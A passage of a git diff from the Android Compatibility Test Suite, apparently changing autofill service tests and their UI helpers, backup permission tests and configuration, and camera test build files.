         assertTextAndValue(password, "dude");
 
         // Make sure labels were not sanitized
-        assertTextFromResouces(saveRequest.structure, ID_USERNAME_LABEL, "Username", false,
+        assertTextFromResources(saveRequest.structure, ID_USERNAME_LABEL, "Username", false,
                 "username_string");
-        assertTextFromResouces(saveRequest.structure, ID_PASSWORD_LABEL, "Password", false,
+        assertTextFromResources(saveRequest.structure, ID_PASSWORD_LABEL, "Password", false,
                 "password_string");
 
+        // Check text hints
+        assertHintFromResources(fillRequest.structure, ID_USERNAME, "Hint for username",
+                "username_hint");
+        assertHintFromResources(fillRequest.structure, ID_PASSWORD, "Hint for password",
+                "password_hint");
+
         // Make sure extras were passed back on onSave()
         assertThat(saveRequest.data).isNotNull();
         final String extraValue = saveRequest.data.getString("numbers");
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MultiWindowLoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/MultiWindowLoginActivityTest.java
index 681fd1a..e7f26e2 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/MultiWindowLoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/MultiWindowLoginActivityTest.java
@@ -141,12 +141,12 @@
 
         // Make LoginActivity to regain window focus and fill ui is expected to show
         tapViewAndExpectWindowEvent(loginActivity.getUsername());
-        mUiBot.assertDatasets("The Dude");
+        mUiBot.assertNoDatasetsEver();
         assertThat(emptyActivity.hasWindowFocus()).isFalse();
 
         // Tap on EmptyActivity and fill ui is gone.
         tapViewAndExpectWindowEvent(emptyActivity.getEmptyView());
-        mUiBot.assertNoDatasets();
+        mUiBot.assertNoDatasetsEver();
         assertThat(emptyActivity.hasWindowFocus()).isTrue();
         // LoginActivity username field is still focused but window has no focus
         assertThat(loginActivity.getUsername().hasFocus()).isTrue();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/PreFilledLoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/PreFilledLoginActivityTest.java
index fd392d5..06191a5 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/PreFilledLoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/PreFilledLoginActivityTest.java
@@ -20,7 +20,7 @@
 import static android.autofillservice.cts.Helper.ID_USERNAME;
 import static android.autofillservice.cts.Helper.ID_USERNAME_LABEL;
 import static android.autofillservice.cts.Helper.assertTextAndValue;
-import static android.autofillservice.cts.Helper.assertTextFromResouces;
+import static android.autofillservice.cts.Helper.assertTextFromResources;
 import static android.autofillservice.cts.Helper.assertTextIsSanitized;
 import static android.autofillservice.cts.Helper.assertTextOnly;
 import static android.autofillservice.cts.Helper.findNodeByResourceId;
@@ -75,7 +75,7 @@
         assertTextIsSanitized(fillRequest.structure, ID_USERNAME_LABEL);
 
         // ...password label should be ok because it was set from other resource id
-        assertTextFromResouces(fillRequest.structure, ID_PASSWORD_LABEL, "DA PASSWORD", false,
+        assertTextFromResources(fillRequest.structure, ID_PASSWORD_LABEL, "DA PASSWORD", false,
                 "new_password_label");
 
         // ...username and password should be ok because they were set in the SML
@@ -94,7 +94,7 @@
 
         // Assert sanitization on save: everything should be available!
         assertTextOnly(findNodeByResourceId(saveRequest.structure, ID_USERNAME_LABEL), "DA USER");
-        assertTextFromResouces(saveRequest.structure, ID_PASSWORD_LABEL, "DA PASSWORD", false,
+        assertTextFromResources(saveRequest.structure, ID_PASSWORD_LABEL, "DA PASSWORD", false,
                 "new_password_label");
         assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_USERNAME), "malkovich");
         assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "malkovich");
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SimpleAfterLoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/SimpleAfterLoginActivity.java
new file mode 100644
index 0000000..8142f3a
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/SimpleAfterLoginActivity.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import android.os.Bundle;
+import android.util.Log;
+
+/**
+ * Activity that displays a "Finished login activity!" message after login.
+ */
+public class SimpleAfterLoginActivity extends AbstractAutoFillActivity {
+
+    private static final String TAG = "SimpleAfterLoginActivity";
+
+    static final String ID_AFTER_LOGIN = "after_login";
+
+    private static SimpleAfterLoginActivity sCurrentActivity;
+
+    public static SimpleAfterLoginActivity getCurrentActivity() {
+        return sCurrentActivity;
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.simple_after_login_activity);
+
+        Log.v(TAG, "Set sCurrentActivity to this onCreate()");
+        sCurrentActivity = this;
+    }
+
+    @Override
+    protected void onDestroy() {
+        super.onDestroy();
+
+        Log.v(TAG, "Set sCurrentActivity to null onDestroy()");
+        sCurrentActivity = null;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SimpleBeforeLoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/SimpleBeforeLoginActivity.java
new file mode 100644
index 0000000..e14a6a4
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/SimpleBeforeLoginActivity.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import android.os.Bundle;
+import android.util.Log;
+
+/**
+ * Activity that displays a "Launch login activity!" message before login.
+ */
+public class SimpleBeforeLoginActivity extends AbstractAutoFillActivity {
+
+    private static final String TAG = "SimpleBeforeLoginActivity";
+
+    static final String ID_BEFORE_LOGIN = "before_login";
+
+    private static SimpleBeforeLoginActivity sCurrentActivity;
+
+    public static SimpleBeforeLoginActivity getCurrentActivity() {
+        return sCurrentActivity;
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.simple_before_login_activity);
+
+        Log.v(TAG, "Set sCurrentActivity to this onCreate()");
+        sCurrentActivity = this;
+    }
+
+    @Override
+    protected void onDestroy() {
+        super.onDestroy();
+
+        Log.v(TAG, "Set sCurrentActivity to null onDestroy()");
+        sCurrentActivity = null;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
index a3b9528..8524e6e 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
@@ -17,6 +17,7 @@
 
 import static android.autofillservice.cts.AntiTrimmerTextWatcher.TRIMMER_PATTERN;
 import static android.autofillservice.cts.Helper.ID_STATIC_TEXT;
+import static android.autofillservice.cts.Helper.ID_USERNAME;
 import static android.autofillservice.cts.Helper.LARGE_STRING;
 import static android.autofillservice.cts.Helper.assertTextAndValue;
 import static android.autofillservice.cts.Helper.assertTextValue;
@@ -477,7 +478,7 @@
     }
 
     @Test
-    public void testSaveThenStartNewSessionRightAway() throws Exception {
+    public void testSaveThenStartNewSessionRightAwayShouldKeepSaveUi() throws Exception {
         startActivity();
 
         // Set service.
@@ -501,14 +502,89 @@
         // Make sure Save UI for 1st session was shown....
         mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
 
-        // ...then start the new session right away (without finishing the activity).
-        sReplier.addResponse(CannedFillResponse.NO_RESPONSE);
-        mActivity.syncRunOnUiThread(
-                () -> mActivity.getAutofillManager().requestAutofill(mActivity.mInput));
+        // Start new Activity to have a new autofill session
+        startActivityOnNewTask(LoginActivity.class);
+
+        // Make sure LoginActivity started...
+        mUiBot.assertShownByRelativeId(ID_USERNAME_CONTAINER);
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_USERNAME)
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "id")
+                        .setField(ID_PASSWORD, "pwd")
+                        .setPresentation(createPresentation("YO"))
+                        .build())
+                .build());
+        // Trigger fill request on the LoginActivity
+        final LoginActivity act = LoginActivity.getCurrentActivity();
+        act.syncRunOnUiThread(() -> act.forceAutofillOnUsername());
         sReplier.getNextFillRequest();
 
+        // Make sure Fill UI is not shown. And Save UI for 1st session was still shown.
+        mUiBot.assertNoDatasetsEver();
+        sReplier.assertNoUnhandledFillRequests();
+        mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+        mUiBot.waitForIdle();
+        // Trigger dismiss Save UI
+        mUiBot.pressBack();
+
+        // Make sure Save UI was not shown....
+        mUiBot.assertSaveNotShowing();
+        // Make sure Fill UI is shown.
+        mUiBot.assertDatasets("YO");
+    }
+
+    @Test
+    public void testCloseSaveUiThenStartNewSessionRightAway() throws Exception {
+        startActivity();
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("108");
+            mActivity.mCommit.performClick();
+        });
+
+        // Make sure Save UI for 1st session was shown....
+        mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+        // Trigger dismiss Save UI
+        mUiBot.pressBack();
+
         // Make sure Save UI for 1st session was canceled.
         mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+
+        // ...then start the new session right away (without finishing the activity).
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_INPUT, "id")
+                        .setPresentation(createPresentation("YO"))
+                        .build())
+                .build());
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("");
+            mActivity.getAutofillManager().requestAutofill(mActivity.mInput);
+        });
+        sReplier.getNextFillRequest();
+
+        // Make sure Fill UI is shown.
+        mUiBot.assertDatasets("YO");
     }
 
     @Test
diff --git a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
index ff884ce..8bd2d80 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
@@ -24,9 +24,12 @@
 import static android.autofillservice.cts.Timeouts.UI_TIMEOUT;
 import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_ADDRESS;
 import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_CREDIT_CARD;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_DEBIT_CARD;
 import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_EMAIL_ADDRESS;
 import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC_CARD;
 import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PAYMENT_CARD;
 import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_USERNAME;
 
 import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
@@ -36,11 +39,13 @@
 
 import static org.junit.Assume.assumeTrue;
 
+import android.app.Activity;
 import android.app.Instrumentation;
 import android.app.UiAutomation;
 import android.content.Context;
 import android.content.res.Resources;
 import android.graphics.Bitmap;
+import android.graphics.Rect;
 import android.os.SystemClock;
 import android.service.autofill.SaveInfo;
 import android.support.test.uiautomator.By;
@@ -51,6 +56,8 @@
 import android.support.test.uiautomator.Until;
 import android.text.Html;
 import android.util.Log;
+import android.view.View;
+import android.view.WindowInsets;
 import android.view.accessibility.AccessibilityEvent;
 import android.view.accessibility.AccessibilityWindowInfo;
 
@@ -95,10 +102,17 @@
     private static final String RESOURCE_STRING_SAVE_TYPE_USERNAME = "autofill_save_type_username";
     private static final String RESOURCE_STRING_SAVE_TYPE_EMAIL_ADDRESS =
             "autofill_save_type_email_address";
+    private static final String RESOURCE_STRING_SAVE_TYPE_DEBIT_CARD =
+            "autofill_save_type_debit_card";
+    private static final String RESOURCE_STRING_SAVE_TYPE_PAYMENT_CARD =
+            "autofill_save_type_payment_card";
+    private static final String RESOURCE_STRING_SAVE_TYPE_GENERIC_CARD =
+            "autofill_save_type_generic_card";
     private static final String RESOURCE_STRING_SAVE_BUTTON_NOT_NOW = "save_password_notnow";
     private static final String RESOURCE_STRING_SAVE_BUTTON_NO_THANKS = "autofill_save_no";
     private static final String RESOURCE_STRING_SAVE_BUTTON_YES = "autofill_save_yes";
     private static final String RESOURCE_STRING_UPDATE_BUTTON_YES = "autofill_update_yes";
+    private static final String RESOURCE_STRING_CONTINUE_BUTTON_YES = "autofill_continue_yes";
     private static final String RESOURCE_STRING_UPDATE_TITLE = "autofill_update_title";
     private static final String RESOURCE_STRING_UPDATE_TITLE_WITH_TYPE =
             "autofill_update_title_with_type";
@@ -333,7 +347,8 @@
     }
 
     /**
-     * Selects a dataset that should be visible in the floating UI.
+     * Selects a dataset that should be visible in the floating UI and does not need to wait for
+     * application become idle.
      */
     public void selectDataset(String name) throws Exception {
         final UiObject2 picker = findDatasetPicker(UI_DATASET_PICKER_TIMEOUT);
@@ -341,6 +356,16 @@
     }
 
     /**
+     * Selects a dataset that should be visible in the floating UI and waits for application become
+     * idle if needed.
+     */
+    public void selectDatasetSync(String name) throws Exception {
+        final UiObject2 picker = findDatasetPicker(UI_DATASET_PICKER_TIMEOUT);
+        selectDataset(picker, name);
+        mDevice.waitForIdle();
+    }
+
+    /**
      * Selects a dataset that should be visible in the floating UI.
      */
     public void selectDataset(UiObject2 picker, String name) {
@@ -603,6 +628,15 @@
             case SAVE_DATA_TYPE_EMAIL_ADDRESS:
                 typeResourceName = RESOURCE_STRING_SAVE_TYPE_EMAIL_ADDRESS;
                 break;
+            case SAVE_DATA_TYPE_DEBIT_CARD:
+                typeResourceName = RESOURCE_STRING_SAVE_TYPE_DEBIT_CARD;
+                break;
+            case SAVE_DATA_TYPE_PAYMENT_CARD:
+                typeResourceName = RESOURCE_STRING_SAVE_TYPE_PAYMENT_CARD;
+                break;
+            case SAVE_DATA_TYPE_GENERIC_CARD:
+                typeResourceName = RESOURCE_STRING_SAVE_TYPE_GENERIC_CARD;
+                break;
             default:
                 throw new IllegalArgumentException("Unsupported type: " + type);
         }
@@ -626,9 +660,21 @@
                 SAVE_TIMEOUT, types);
     }
 
+    public UiObject2 assertSaveShowing(int positiveButtonStyle, int... types) throws Exception {
+        return assertSaveOrUpdateShowing(/* update= */ false, SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL,
+                positiveButtonStyle, /* description= */ null, SAVE_TIMEOUT, types);
+    }
 
     public UiObject2 assertSaveOrUpdateShowing(boolean update, int negativeButtonStyle,
             String description, Timeout timeout, int... types) throws Exception {
+        return assertSaveOrUpdateShowing(update, negativeButtonStyle,
+                SaveInfo.POSITIVE_BUTTON_STYLE_SAVE, description, timeout, types);
+    }
+
+    public UiObject2 assertSaveOrUpdateShowing(boolean update, int negativeButtonStyle,
+            int positiveButtonStyle, String description, Timeout timeout, int... types)
+            throws Exception {
+
         final UiObject2 snackbar = waitForObject(SAVE_UI_SELECTOR, timeout);
 
         final UiObject2 titleView =
@@ -682,8 +728,15 @@
             assertWithMessage("save subtitle(%s)", description).that(saveSubTitle).isNotNull();
         }
 
-        final String positiveButtonStringId = update ? RESOURCE_STRING_UPDATE_BUTTON_YES
-                : RESOURCE_STRING_SAVE_BUTTON_YES;
+        final String positiveButtonStringId;
+        switch (positiveButtonStyle) {
+            case SaveInfo.POSITIVE_BUTTON_STYLE_CONTINUE:
+                positiveButtonStringId = RESOURCE_STRING_CONTINUE_BUTTON_YES;
+                break;
+            default:
+                positiveButtonStringId = update ? RESOURCE_STRING_UPDATE_BUTTON_YES
+                        : RESOURCE_STRING_SAVE_BUTTON_YES;
+        }
         final String expectedPositiveButtonText = getString(positiveButtonStringId).toUpperCase();
         final UiObject2 positiveButton = waitForObject(snackbar,
                 By.res("android", RESOURCE_ID_SAVE_BUTTON_YES), timeout);
@@ -732,11 +785,21 @@
      */
     public void saveForAutofill(int negativeButtonStyle, boolean yesDoIt, int... types)
             throws Exception {
-        final UiObject2 saveSnackBar = assertSaveShowing(negativeButtonStyle,null, types);
+        final UiObject2 saveSnackBar = assertSaveShowing(negativeButtonStyle, null, types);
         saveForAutofill(saveSnackBar, yesDoIt);
     }
 
     /**
+     * Taps the positive button in the save snackbar.
+     *
+     * @param types expected types of save info.
+     */
+    public void saveForAutofill(int positiveButtonStyle, int... types) throws Exception {
+        final UiObject2 saveSnackBar = assertSaveShowing(positiveButtonStyle, types);
+        saveForAutofill(saveSnackBar, /* yesDoIt= */ true);
+    }
+
+    /**
      * Taps an option in the save snackbar.
      *
      * @param saveSnackBar Save snackbar, typically obtained through
@@ -817,7 +880,12 @@
     private String getString(String id) {
         final Resources resources = mContext.getResources();
         final int stringId = resources.getIdentifier(id, "string", "android");
-        return resources.getString(stringId);
+        try {
+            return resources.getString(stringId);
+        } catch (Resources.NotFoundException e) {
+            throw new IllegalStateException("no internal string for '" + id + "' / res=" + stringId
+                    + ": ", e);
+        }
     }
 
     /**
@@ -826,7 +894,12 @@
     private String getString(String id, Object... formatArgs) {
         final Resources resources = mContext.getResources();
         final int stringId = resources.getIdentifier(id, "string", "android");
-        return resources.getString(stringId, formatArgs);
+        try {
+            return resources.getString(stringId, formatArgs);
+        } catch (Resources.NotFoundException e) {
+            throw new IllegalStateException("no internal string for '" + id + "' / res=" + stringId
+                    + ": ", e);
+        }
     }
 
     /**
@@ -1014,15 +1087,49 @@
         }
     }
 
+    private Rect cropScreenshotWithoutScreenDecoration(Activity activity) {
+        final WindowInsets[] inset = new WindowInsets[1];
+        final View[] rootView = new View[1];
+
+        InstrumentationRegistry.getInstrumentation().runOnMainSync(() -> {
+            rootView[0] = activity.getWindow().getDecorView();
+            inset[0] = rootView[0].getRootWindowInsets();
+        });
+        final int navBarHeight = inset[0].getStableInsetBottom();
+        final int statusBarHeight = inset[0].getStableInsetTop();
+
+        return new Rect(0, statusBarHeight, rootView[0].getWidth(),
+                rootView[0].getHeight() - navBarHeight - statusBarHeight);
+    }
+
     // TODO(b/74358143): ideally we should take a screenshot limited by the boundaries of the
     // activity window, so external elements (such as the clock) are filtered out and don't cause
     // test flakiness when the contents are compared.
     public Bitmap takeScreenshot() {
+        return takeScreenshotWithRect(null);
+    }
+
+    public Bitmap takeScreenshot(@NonNull Activity activity) {
+        // crop the screenshot without screen decoration to prevent test flakiness.
+        final Rect rect = cropScreenshotWithoutScreenDecoration(activity);
+        return takeScreenshotWithRect(rect);
+    }
+
+    private Bitmap takeScreenshotWithRect(@Nullable Rect r) {
         final long before = SystemClock.elapsedRealtime();
         final Bitmap bitmap = mAutoman.takeScreenshot();
         final long delta = SystemClock.elapsedRealtime() - before;
         Log.v(TAG, "Screenshot taken in " + delta + "ms");
-        return bitmap;
+        if (r == null) {
+            return bitmap;
+        }
+        try {
+            return Bitmap.createBitmap(bitmap, r.left, r.top, r.right, r.bottom);
+        } finally {
+            if (bitmap != null) {
+                bitmap.recycle();
+            }
+        }
     }
 
     /**
diff --git a/tests/backup/Android.bp b/tests/backup/Android.bp
index 019c864..1b7728c 100644
--- a/tests/backup/Android.bp
+++ b/tests/backup/Android.bp
@@ -26,6 +26,7 @@
         "ctstestrunner-axt",
         "ctstestserver",
         "mockito-target-minus-junit4",
+        "permission-test-util-lib",
         "testng",
     ],
     host_required: ["CtsBackupHostTestCases"],
diff --git a/tests/backup/AndroidTest.xml b/tests/backup/AndroidTest.xml
index fdaac0e..1f99fdb 100644
--- a/tests/backup/AndroidTest.xml
+++ b/tests/backup/AndroidTest.xml
@@ -20,9 +20,13 @@
     <!-- Backup of instant apps is not supported. -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
-    <!-- Run this module in system user because backup tests are not fully supported in secondary user.
-         For devices running on secondary user, such as automotive devices, these tests will fail.
-         This should be removed when backup tests are fully functional for secondary users. -->
+    <!-- Run module in system user because backup tests are not fully supported in secondary user.
+     For devices running on secondary user, such as automotive devices, these tests will fail.
+     When backup tests are fully functional for secondary users:
+       -change not_secondary_user to secondary_user.
+       -remove SwitchUserTargetPreparer
+    -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.SwitchUserTargetPreparer">
         <option name="user-type" value="system" />
     </target_preparer>
diff --git a/tests/backup/OWNERS b/tests/backup/OWNERS
index 3637e32..e0e5e22 100644
--- a/tests/backup/OWNERS
+++ b/tests/backup/OWNERS
@@ -1,6 +1,8 @@
+# Bug component: 41666
 # Use this reviewer by default.
 br-framework-team+reviews@google.com
 
+alsutton@google.com
 anniemeng@google.com
 brufino@google.com
 nathch@google.com
diff --git a/tests/backup/TEST_MAPPING b/tests/backup/TEST_MAPPING
new file mode 100644
index 0000000..4e5beb0
--- /dev/null
+++ b/tests/backup/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsBackupTestCases"
+    }
+  ]
+}
diff --git a/tests/backup/app/src/android/backup/app/FullBackupBackupAgent.java b/tests/backup/app/src/android/backup/app/FullBackupBackupAgent.java
index 8535344..0f4a123 100644
--- a/tests/backup/app/src/android/backup/app/FullBackupBackupAgent.java
+++ b/tests/backup/app/src/android/backup/app/FullBackupBackupAgent.java
@@ -53,23 +53,25 @@
     @Override
     public void onRestoreFile(ParcelFileDescriptor data, long size,
             File destination, int type, long mode, long mtime) throws IOException {
-        Log.d(MainActivity.TAG, "onRestoreFile " + destination);
         super.onRestoreFile(data, size, destination, type, mode, mtime);
+        Log.d(MainActivity.TAG, "onRestoreFile " + destination);
     }
 
     @Override
     public void onFullBackup(FullBackupDataOutput data) throws IOException {
-        Log.d(MainActivity.TAG, "Full backup requested, quota is " + data.getQuota());
         super.onFullBackup(data);
+        Log.d(MainActivity.TAG, "Full backup requested, quota is " + data.getQuota());
     }
 
     @Override
     public void onQuotaExceeded(long backupDataBytes, long quotaBytes) {
+        super.onQuotaExceeded(backupDataBytes, quotaBytes);
         Log.d(MainActivity.TAG, "Quota exceeded!");
     }
 
     @Override
     public void onRestoreFinished() {
+        super.onRestoreFinished();
         Log.d(MainActivity.TAG, "onRestoreFinished");
     }
 
diff --git a/tests/backup/app/src/android/backup/app/KeyValueBackupAgent.java b/tests/backup/app/src/android/backup/app/KeyValueBackupAgent.java
index 155d8f9..c73731e 100644
--- a/tests/backup/app/src/android/backup/app/KeyValueBackupAgent.java
+++ b/tests/backup/app/src/android/backup/app/KeyValueBackupAgent.java
@@ -77,11 +77,13 @@
 
     @Override
     public void onQuotaExceeded(long backupDataBytes, long quotaBytes) {
+        super.onQuotaExceeded(backupDataBytes, quotaBytes);
         Log.d(MainActivity.TAG, "Quota exceeded!");
     }
 
     @Override
     public void onRestoreFinished() {
+        super.onRestoreFinished();
         Log.d(MainActivity.TAG, "onRestoreFinished");
     }
 
diff --git a/tests/backup/src/android/backup/cts/PermissionTest.java b/tests/backup/src/android/backup/cts/PermissionTest.java
index 24d87bd..ee40922 100644
--- a/tests/backup/src/android/backup/cts/PermissionTest.java
+++ b/tests/backup/src/android/backup/cts/PermissionTest.java
@@ -29,6 +29,7 @@
 import static android.content.pm.PackageManager.FLAG_PERMISSION_USER_SET;
 import static android.content.pm.PackageManager.PERMISSION_DENIED;
 import static android.content.pm.PackageManager.PERMISSION_GRANTED;
+import static android.permission.cts.PermissionUtils.grantPermission;
 
 import static com.android.compatibility.common.util.BackupUtils.LOCAL_TRANSPORT_TOKEN;
 import static com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity;
@@ -93,7 +94,7 @@
      * Test backup and restore of regular runtime permission.
      */
     public void testGrantDeniedRuntimePermission() throws Exception {
-        grantRuntimePermission(APP, ACCESS_FINE_LOCATION);
+        grantPermission(APP, ACCESS_FINE_LOCATION);
 
         mBackupUtils.backupNowAndAssertSuccess(ANDROID_PACKAGE);
         resetApp(APP);
@@ -126,7 +127,7 @@
      */
     public void testNoTriStateRuntimePermission() throws Exception {
         // Set a marker
-        grantRuntimePermission(APP, WRITE_CONTACTS);
+        grantPermission(APP, WRITE_CONTACTS);
 
         // revoked is the default state. Hence mark the permissions as user set, so the permissions
         // are even backed up
@@ -164,8 +165,7 @@
      * Test backup and restore of foreground runtime permission.
      */
     public void testGrantForegroundRuntimePermission() throws Exception {
-        grantRuntimePermission(APP, ACCESS_FINE_LOCATION);
-        setAppOp(APP, ACCESS_FINE_LOCATION, MODE_FOREGROUND);
+        grantPermission(APP, ACCESS_FINE_LOCATION);
 
         // revoked is the default state. Hence mark the permission as user set, so the permissions
         // are even backed up
@@ -199,8 +199,8 @@
      * Test backup and restore of foreground runtime permission.
      */
     public void testGrantForegroundAndBackgroundRuntimePermission() throws Exception {
-        grantRuntimePermission(APP, ACCESS_FINE_LOCATION);
-        grantRuntimePermission(APP, ACCESS_BACKGROUND_LOCATION);
+        grantPermission(APP, ACCESS_FINE_LOCATION);
+        grantPermission(APP, ACCESS_BACKGROUND_LOCATION);
 
         mBackupUtils.backupNowAndAssertSuccess(ANDROID_PACKAGE);
         resetApp(APP);
@@ -218,7 +218,7 @@
      */
     public void testGrantForegroundAndBackgroundRuntimePermission22() throws Exception {
         // Set a marker
-        setAppOp(APP, WRITE_CONTACTS, MODE_IGNORED);
+        setAppOp(APP22, WRITE_CONTACTS, MODE_IGNORED);
 
         mBackupUtils.backupNowAndAssertSuccess(ANDROID_PACKAGE);
         resetApp(APP22);
@@ -226,9 +226,9 @@
 
         eventually(() -> {
             // Wait for marker
-            assertEquals(MODE_IGNORED, getAppOp(APP, WRITE_CONTACTS));
+            assertEquals(MODE_IGNORED, getAppOp(APP22, WRITE_CONTACTS));
 
-            assertEquals(MODE_ALLOWED, getAppOp(APP, ACCESS_FINE_LOCATION));
+            assertEquals(MODE_ALLOWED, getAppOp(APP22, ACCESS_FINE_LOCATION));
         });
     }
 
@@ -288,8 +288,8 @@
     /**
      * Test backup and delayed restore of regular runtime permission.
      */
-    public void testDelayedRestore() throws IOException {
-        grantRuntimePermission(APP, ACCESS_FINE_LOCATION);
+    public void testDelayedRestore() throws Exception {
+        grantPermission(APP, ACCESS_FINE_LOCATION);
 
         setAppOp(APP22, READ_CONTACTS, MODE_IGNORED);
 
@@ -381,13 +381,6 @@
         return sContext.getPackageManager().checkPermission(permission, app);
     }
 
-    private void grantRuntimePermission(String app, String permission) {
-        if (checkPermission(app, permission) != PERMISSION_GRANTED) {
-            getInstrumentation().getUiAutomation().grantRuntimePermission(app, permission);
-            assertEquals(PERMISSION_GRANTED, checkPermission(app, permission));
-        }
-    }
-
     private void setAppOp(String app, String permission, int mode) {
         runWithShellPermissionIdentity(
                 () -> sContext.getSystemService(AppOpsManager.class).setUidMode(
diff --git a/tests/camera/Android.mk b/tests/camera/Android.mk
index b605b16..083359a 100644
--- a/tests/camera/Android.mk
+++ b/tests/camera/Android.mk
@@ -28,7 +28,7 @@
 
 LOCAL_MODULE := CtsCameraUtils
 
-LOCAL_SDK_VERSION := current
+LOCAL_SDK_VERSION := test_current
 -include cts/error_prone_rules_tests.mk
 include $(BUILD_STATIC_JAVA_LIBRARY)
 
@@ -50,7 +50,7 @@
 	androidx.test.rules
 
 LOCAL_SRC_FILES := \
-	src/android/hardware/camera2/cts/testcases/Camera2AndroidTestCase.java \
+	src/android/hardware/camera2/cts/testcases/Camera2AndroidBasicTestCase.java \
 	src/android/hardware/camera2/cts/PerformanceTest.java \
 	src/android/hardware/cts/CameraTestCase.java \
 	src/android/hardware/cts/LegacyCameraPerformanceTest.java
diff --git a/tests/camera/api25test/AndroidTest.xml b/tests/camera/api25test/AndroidTest.xml
index 2a4bed1..b431952 100644
--- a/tests/camera/api25test/AndroidTest.xml
+++ b/tests/camera/api25test/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="camera" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
